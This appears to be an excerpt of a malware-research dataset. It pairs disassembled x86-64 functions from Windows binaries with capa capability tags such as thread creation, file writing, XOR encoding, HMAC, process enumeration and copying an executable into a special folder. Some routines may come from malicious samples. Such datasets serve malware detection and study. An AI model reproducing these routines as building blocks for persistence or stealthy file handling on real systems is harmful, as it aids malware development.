joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c530
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14012a170]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
cmp qword [rcx + 0x60], 0
jne 0x14000c5b7
mov byte [rcx + 0x68], 1
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400ac600
mov rdi, rax
mov qword [rsp + 0x30], rax
mov ecx, 8
call fcn.1400ac600
lea rcx, [0x14000c3e0]
mov qword [rax], rcx
mov qword [rsp + 0x38], rax
lea rsi, [rdi + 8]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x14000cb50]
xor edx, edx
xor ecx, ecx
call fcn.1400b7228
mov qword [rdi], rax
test rax, rax
je 0x14000c5d4
mov qword [rbx + 0x60], rdi
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400ac5e0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov dword [rsi], 0
mov ecx, 6
call fcn.1400ab78c
int3
Function at 0x140061600
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x14012a170]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, r9
mov rdi, r8
mov rsi, rdx
mov r15, rcx
mov ecx, 0xbbc0
call fcn.1400ac600
mov r14, rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax]
mov qword [r14], rcx
mov rax, qword [rsp + 0x90]
mov rcx, qword [rax]
mov qword [r14 + 8], rcx
mov rax, qword [rbx]
mov qword [r14 + 0x10], rax
lea rcx, [r14 + 0x18]
mov qword [rsp + 0x38], rcx
mov eax, dword [rdi]
mov dword [rcx], eax
movups xmm0, xmmword [rdi + 8]
movups xmmword [rcx + 8], xmm0
movups xmm1, xmmword [rdi + 0x18]
movups xmmword [rcx + 0x18], xmm1
movups xmm0, xmmword [rdi + 0x28]
movups xmmword [rcx + 0x28], xmm0
movsd xmm1, qword [rdi + 0x38]
movsd qword [rcx + 0x38], xmm1
mov eax, dword [rdi + 0x40]
mov dword [rcx + 0x40], eax
mov eax, dword [rdi + 0x44]
mov dword [rcx + 0x44], eax
mov eax, dword [rdi + 0x48]
mov dword [rcx + 0x48], eax
mov eax, dword [rdi + 0x4c]
mov dword [rcx + 0x4c], eax
mov eax, dword [rdi + 0x50]
mov dword [rcx + 0x50], eax
mov eax, dword [rdi + 0x54]
mov dword [rcx + 0x54], eax
mov rax, qword [rdi + 0x58]
mov qword [rcx + 0x58], rax
lea rdx, [rdi + 0x60]
add rcx, 0x60
call fcn.140062210
mov rax, qword [rsi]
mov qword [r14 + 0xbbb8], rax
mov qword [rsp + 0x38], r14
lea rbx, [r15 + 8]
mov qword [rsp + 0x28], rbx
xor edi, edi
mov dword [rsp + 0x20], edi
mov r9, r14
lea r8, [0x1400621c0]
xor edx, edx
xor ecx, ecx
call fcn.1400b7228
mov qword [r15], rax
test rax, rax
je 0x14006172c
mov rax, r15
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400ac5e0
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x88]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
mov dword [rbx], edi
mov ecx, 6
call fcn.1400ab78c
int3
Function at 0x140067cb0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x140067d0e
mov dl, 1
call fcn.14006ab50
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.14006ab50
mov eax, ebx
jmp 0x140067d50
cmp ebx, 2
ja 0x140067d4e
mov r9, qword [rdi + 0x668]
lea rdx, [0x1400e2198]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call fcn.1400b6060
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call fcn.1400b6060
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140067d70
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x14012a170]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xea6], 0
mov rdi, rcx
jne 0x140067db3
cmp qword [rcx + 0x678], 0
je 0x140067e90
mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, 0x100
lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.140068e30
lea rax, [rsp + 0x30]
or rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140067de0
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x140067e28
cmp byte [rdi + 0x151f], 0
jne 0x140067e28
lea rdx, [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140067e10
mov byte [rdi + 0x151f], 1
cmp byte [rdi + 0xea6], 0
je 0x140067e88
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x140067ee1
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
je 0x140067ea9
mov dl, 1
mov rcx, rdi
call fcn.14006ab50
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.14006ab50
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400ac5e0
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x1400e2198]
mov edx, 2
lea r8d, [rdx - 1]
call fcn.1400b6060
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call fcn.1400b6060
jmp 0x140067e88
call fcn.1400ac9c8
int3
Function at 0x140067ef0
Capabilities:
Write file on windows

Disassembly:
test rcx, rcx
je 0x140068054
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rdi
sub rsp, 0x860
mov rax, qword [0x14012a170]
xor rax, rsp
mov qword [rsp + 0x840], rax
cmp byte [rcx + 0xea6], 0
mov rdi, rcx
je 0x14006803c
mov r8, rdx
mov qword [r11 - 0x10], rbx
mov edx, 0x801
lea r9, [r11 + 0x18]
lea rcx, [rsp + 0x30]
call fcn.140068e30
movsxd rcx, eax
or rbx, 0xffffffffffffffff
cmp rcx, 0x801
jb 0x140067fb1
mov rcx, qword [rsp + 0x878]
mov rax, rbx
nop word [rax + rax]
cmp byte [rcx + rax + 1], 0
lea rax, [rax + 1]
jne 0x140067f70
cmp byte [rax + rcx - 1], 0xa
jne 0x140067f98
lea r8, str...._n
mov edx, 5
lea rcx, [rsp + 0x82c]
jmp 0x140067fac
lea r8, [0x1400e21b8]
mov edx, 4
lea rcx, [rsp + 0x82d]
call fcn.140068d30
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140067fb6
cmp qword [rdi + 0x718], 0
je 0x140067ffe
mov dl, 1
mov rcx, rdi
call fcn.14006ab50
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.14006ab50
jmp 0x140068034
mov r9, qword [rdi + 0x668]
lea rcx, [0x1400e2198]
mov edx, 2
lea r8d, [rdx - 1]
call fcn.1400b6060
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call fcn.1400b6060
mov rbx, qword [rsp + 0x858]
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.1400ac5e0
add rsp, 0x860
pop rdi
ret

Function at 0x14006ef90
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x14006f07b
call fcn.14006f320
test al, al
jne 0x14006f07b
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], r14
xor r14d, r14d
mov esi, r14d
or rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rbx + rdi], sil
jne 0x14006efd0
mov r8, rdi
mov edx, reloc.WLDAP32.dll_Ordinal_46
mov rcx, rbx
call fcn.1400865e0
test rax, rax
je 0x14006f015
sub rax, rbx
mov edx, reloc.WLDAP32.dll_Ordinal_46
mov r8, rax
mov rcx, rbx
call fcn.1400865e0
mov rsi, rax
test rax, rax
je 0x14006f015
inc rsi
mov rcx, rbx
sub rcx, rsi
add rdi, rcx
test rsi, rsi
cmovne rbx, rsi
lea rax, [rdi + rbx]
mov edi, 0x1505
mov rbp, rax
sub rbp, rbx
cmp rbx, rax
cmova rbp, r14
mov r14, qword [rsp + 0x48]
test rbp, rbp
je 0x14006f062
mov rsi, rbx
neg rsi
movzx ecx, byte [rbx]
call fcn.140067b10
imul rdi, rdi, 0x21
movsx rcx, al
lea rbx, [rbx + 1]
xor rdi, rcx
lea rax, [rsi + rbx]
cmp rax, rbp
jb 0x14006f042
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
movzx eax, dil
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x1400795f0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call fcn.1400c7d7c
cdqe
add rsp, 0x28
ret
Function at 0x1400971d0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xea6], 0
movsxd r10, r9d
je 0x1400972fe
cmp r8d, 0xff
jne 0x14009723b
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x140097225
lea eax, [r10 - 0xec]
movsxd r9, eax
lea r8, sym.2m1RDi9_7tMfGQ_9G2__JBxy_G__7z_7__3___dZ0HCe
mov r9, qword [r8 + r9*8 + 0xeaed0]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.140067ef0
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.140067ef0
cmp r8d, 0xfb
jne 0x14009724d
lea r9, str.WILL
jmp 0x14009728b
cmp r8d, 0xfc
jne 0x14009725f
lea r9, str.WONT
jmp 0x14009728b
cmp r8d, 0xfd
jne 0x140097271
lea r9, [0x1400eb1b4]
jmp 0x14009728b
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400972e7
cmp r10d, 0x27
jg 0x1400972be
lea r8, sym.2m1RDi9_7tMfGQ_9G2__JBxy_G__7z_7__3___dZ0HCe
mov r8, qword [r8 + r10*8 + 0xead90]
test r8, r8
jne 0x1400972ce
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.140067ef0
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400972a5
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.140067ef0
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.140067ef0
add rsp, 0x38
ret
Function at 0x1400aa720
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [str._W_v_]
mov rdi, rax
test rax, rax
jne 0x1400aa762
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400aa7a5
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov ebp, dword [rbx + 0x20]
mov rcx, qword [rdi + 8]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400aa802
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400aa7c0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400aa843
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400ee85a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400ee85b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400aa810
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400b77cc
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1400b765f
xor ecx, ecx
call qword [0x1400e13c8]
test rax, rax
je 0x1400b765f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b765f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b765f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b765f
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b765f
cmp dword [rcx + 0xf8], 0
je 0x1400b765f
mov ecx, ebx
call fcn.1400b7700
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400b74f0
cmp dword [rbp + 0x20], 0
je 0x1400b76ac
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400b76b4
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400b75f8
Function at 0x1800017f0
Capabilities:
Hash data with md5

Disassembly:
sub rsp, 0x38
xor edx, edx
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
add rax, 0x10
mov qword [rsp + 0x28], rcx
mov rcx, rax
mov r8d, 8
call fcn.1800a8ae0
mov rax, qword [rsp + 0x28]
mov dword [rax], 0x67452301
mov dword [rax + 4], 0xefcdab89
mov dword [rax + 8], 0x98badcfe
mov dword [rax + 0xc], 0x10325476
add rsp, 0x38
ret

Function at 0x180006358
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rsp + 0x78], rbx
mov r14d, r8d
mov r13, rdx
mov rsi, rcx
and dword [rbp - 0x10], 0
mov qword [rcx + 0x18], 0xf
and qword [rcx + 0x10], 0
mov byte [rcx], 0
mov dword [rbp - 0x10], 1
xor ebx, ebx
test r8d, r8d
je 0x18000651a
xor ecx, ecx
lea edi, [rbx + 3]
dec r14d
mov al, byte [r13]
mov byte [rbp + rcx + 0x50], al
inc ebx
inc rcx
inc r13
mov dl, byte [rbp + 0x52]
mov r15b, byte [rbp + 0x51]
mov r12b, byte [rbp + 0x50]
cmp rcx, rdi
jne 0x180006449
mov al, r12b
shr al, 2
mov byte [rbp + 0x58], al
mov cl, r12b
and cl, dil
shl cl, 4
mov al, r15b
shr al, 4
add cl, al
mov byte [rbp + 0x59], cl
mov cl, r15b
and cl, 0xf
shl cl, 2
mov al, dl
shr al, 6
add cl, al
mov byte [rbp + 0x5a], cl
mov al, dl
and al, 0x3f
mov byte [rbp + 0x5b], al
xor ebx, ebx
lea rcx, [0x180142c78]
cmp qword [0x180142c90], 0x10
cmovae rcx, qword [0x180142c78]
movzx eax, byte [rbp + rbx + 0x58]
mov r8b, byte [rax + rcx]
mov edx, 1
mov rcx, rsi
call fcn.180006ba4
inc rbx
cmp rbx, 4
jl 0x18000640c
xor ebx, ebx
xor ecx, ecx
mov dl, byte [rbp + 0x52]
test r14d, r14d
jne 0x1800063b0
test ebx, ebx
je 0x18000651a
cmp ebx, edi
jge 0x180006481
mov eax, edi
sub eax, ebx
movsxd r8, eax
movsxd rax, ebx
lea rcx, [rbp + 0x50]
add rcx, rax
xor edx, edx
call fcn.1800a8ae0
mov dl, byte [rbp + 0x52]
mov r15b, byte [rbp + 0x51]
mov r12b, byte [rbp + 0x50]
mov al, r12b
shr al, 2
mov byte [rbp + 0x58], al
and r12b, dil
shl r12b, 4
mov al, r15b
shr al, 4
add r12b, al
mov byte [rbp + 0x59], r12b
and r15b, 0xf
shl r15b, 2
mov al, dl
shr al, 6
add r15b, al
mov byte [rbp + 0x5a], r15b
and dl, 0x3f
mov byte [rbp + 0x5b], dl
lea eax, [rbx + 1]
test eax, eax
jle 0x1800064fb
lea r14, [rbp + 0x58]
mov r15d, eax
lea rcx, [0x180142c78]
cmp qword [0x180142c90], 0x10
cmovae rcx, qword [0x180142c78]
movzx eax, byte [r14]
mov r8b, byte [rax + rcx]
mov edx, 1
mov rcx, rsi
call fcn.180006ba4
inc r14
sub r15, 1
jne 0x1800064c6
cmp ebx, edi
jge 0x18000651a
sub edi, ebx
movsxd rbx, edi
mov r8b, 0x3d
mov edx, 1
mov rcx, rsi
call fcn.180006ba4
sub rbx, 1
jne 0x180006504
mov rax, rsi
mov rbx, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180008e20
Capabilities:
Delete file
Get common file path

Disassembly:
push rbx
sub rsp, 0x230
mov rbx, rdx
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.1800a8ae0
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x180008e56
xor eax, eax
jmp 0x180008e80
mov r9, rbx
lea rdx, [0x1800f4ee0]
xor r8d, r8d
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x180008e52
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
add rsp, 0x230
pop rbx
ret
Function at 0x18000acf4
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x18000ae5f
cmp byte [rcx + 0x71], 0
je 0x18000ae5f
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
jne 0x18000ad40
xor al, al
jmp 0x18000ae61
and qword [rbp - 0x18], 0
and qword [rbp - 0x10], 0
mov qword [rbp - 0x10], 0xf
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x28]
call fcn.18000a9c8
nop
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x28]
cmovae r8, r10
mov rcx, qword [rbx + 0x68]
mov r10, qword [rcx]
mov r9, qword [rbp - 0x18]
add r9, rdx
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea rdx, [rbx + 0x74]
call qword [r10 + 0x40]
test eax, eax
je 0x18000adb2
sub eax, 1
jne 0x18000ae23
jmp 0x18000adb6
mov byte [rbx + 0x71], 0
lea rax, [rbp - 0x28]
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
cmp r9, 0x10
cmovae rax, r10
mov rdi, qword [rbp + 0x10]
sub rdi, rax
je 0x18000ae00
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rbx + 0x80]
mov r8, rdi
mov edx, 1
call fcn.1800ab32c
cmp rdi, rax
jne 0x18000ae28
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
cmp byte [rbx + 0x71], 0
je 0x18000ae2c
test rdi, rdi
jne 0x18000ad74
xor r8d, r8d
lea edx, [rdi + 8]
lea rcx, [rbp - 0x28]
call fcn.180006ba4
jmp 0x18000ad6c
sub eax, 2
je 0x18000ae2c
xor bl, bl
jmp 0x18000ae2e
mov bl, 1
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x18000ae4a
inc rdx
mov r8d, 1
mov rcx, qword [rbp - 0x28]
call fcn.1800062ec
mov qword [rbp - 0x10], 0xf
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
mov al, bl
jmp 0x18000ae61
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180010518
Capabilities:
Enumerate processes on remote desktop session host

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x28], 0xfffffffffffffffe
mov qword [r11 + 0x20], rbx
mov rbx, rcx
xor r14d, r14d
mov dword [rbp - 0x30], r14d
mov qword [rcx], r14
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
mov dword [rbp - 0x30], 1
mov qword [rbp + 0x40], r14
mov dword [rbp + 0x38], r14d
lea rax, [rbp + 0x38]
mov qword [r11 - 0x68], rax
lea r9, [rbp + 0x40]
xor edx, edx
xor ecx, ecx
lea r8d, [r14 + 1]
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateProcessesA]
test eax, eax
je 0x180010690
mov esi, r14d
mov r8d, dword [rbp + 0x38]
test r8d, r8d
je 0x180010690
lea r15d, [r14 + 0xf]
mov rdx, qword [rbp + 0x40]
mov eax, esi
lea rcx, [rax + rax*2]
mov rax, qword [rdx + rcx*8 + 8]
test rax, rax
je 0x180010683
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
mov qword [rbp - 8], r15
mov qword [rbp - 0x10], r14
mov byte [rbp - 0x20], r14b
cmp byte [rax], r14b
jne 0x1800105c9
mov r8, r14
jmp 0x1800105d6
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1800105cd
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.18000697c
nop
mov rax, qword [rbx + 8]
lea rcx, [rbp - 0x20]
cmp rcx, rax
jae 0x180010623
lea rcx, [rbp - 0x20]
cmp qword [rbx], rcx
ja 0x180010623
lea rdi, [rbp - 0x20]
sub rdi, qword [rbx]
cmp rax, qword [rbx + 0x10]
jne 0x18001060e
mov rcx, rbx
call fcn.180010870
mov rcx, qword [rbx + 8]
and rdi, 0xffffffffffffffe0
add rdi, qword [rbx]
test rcx, rcx
je 0x18001064e
mov rdx, rdi
jmp 0x18001063e
cmp rax, qword [rbx + 0x10]
jne 0x180010631
mov rcx, rbx
call fcn.180010870
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18001064e
lea rdx, [rbp - 0x20]
mov qword [rcx + 0x18], r15
mov qword [rcx + 0x10], r14
mov byte [rcx], r14b
call fcn.180006ca4
add qword [rbx + 8], 0x20
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x18001066f
inc rdx
mov r8d, 1
mov rcx, qword [rbp - 0x20]
call fcn.1800062ec
mov qword [rbp - 8], r15
mov qword [rbp - 0x10], r14
mov byte [rbp - 0x20], r14b
mov rdx, qword [rbp + 0x40]
mov r8d, dword [rbp + 0x38]
inc esi
cmp esi, r8d
jb 0x180010597
jmp 0x180010694
mov rdx, qword [rbp + 0x40]
test rdx, rdx
je 0x1800106a6
mov rcx, rdx
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov qword [rbp + 0x40], r14
mov rax, rbx
mov rbx, qword [rsp + 0xa8]
add rsp, 0x60
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800112cc
Capabilities:
Copy file
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x2a0
mov qword [rbp - 0x78], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rbx, rdx
mov rdi, rcx
and dword [rsp + 0x20], 0
mov r15d, 0xf
mov qword [rcx + 0x18], r15
and qword [rcx + 0x10], 0
mov byte [rcx], 0
lea r14d, [r15 - 0xe]
mov dword [rsp + 0x20], r14d
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp - 0x70]
call fcn.1800a8ae0
lea edx, [r15 - 9]
lea rcx, [rsp + 0x68]
call fcn.180057b8c
nop
mov r8, rax
lea rdx, [0x1800f4ef0]
lea rcx, [rsp + 0x48]
call fcn.180010f1c
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.1800110c4
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x180011381
inc rdx
mov r8d, r14d
mov rcx, qword [rsp + 0x48]
call fcn.1800062ec
mov qword [rsp + 0x60], r15
and qword [rsp + 0x58], 0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1800113ab
inc rdx
mov r8, r14
mov rcx, qword [rsp + 0x68]
call fcn.1800062ec
mov qword [rbp - 0x80], r15
and qword [rsp + 0x78], 0
mov byte [rsp + 0x68], 0
xor r9d, r9d
lea r8d, [r9 + 0x1c]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rdx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rdx, qword [rsp + 0x28]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
cmp qword [rbx + 0x18], 0x10
jb 0x1800113f2
mov rbx, qword [rbx]
mov r8d, r14d
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x180011430
cmp byte [rbp - 0x70], 0
jne 0x180011411
xor r8d, r8d
jmp 0x180011423
lea rax, [rbp - 0x70]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180011419
lea rdx, [rbp - 0x70]
mov rcx, rdi
call fcn.18000697c
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x18001144b
inc rdx
mov r8, r14
mov rcx, qword [rsp + 0x28]
call fcn.1800062ec
mov qword [rsp + 0x40], r15
and qword [rsp + 0x38], 0
mov byte [rsp + 0x28], 0
mov rax, rdi
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1800122b8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, [0x1800f50f8]
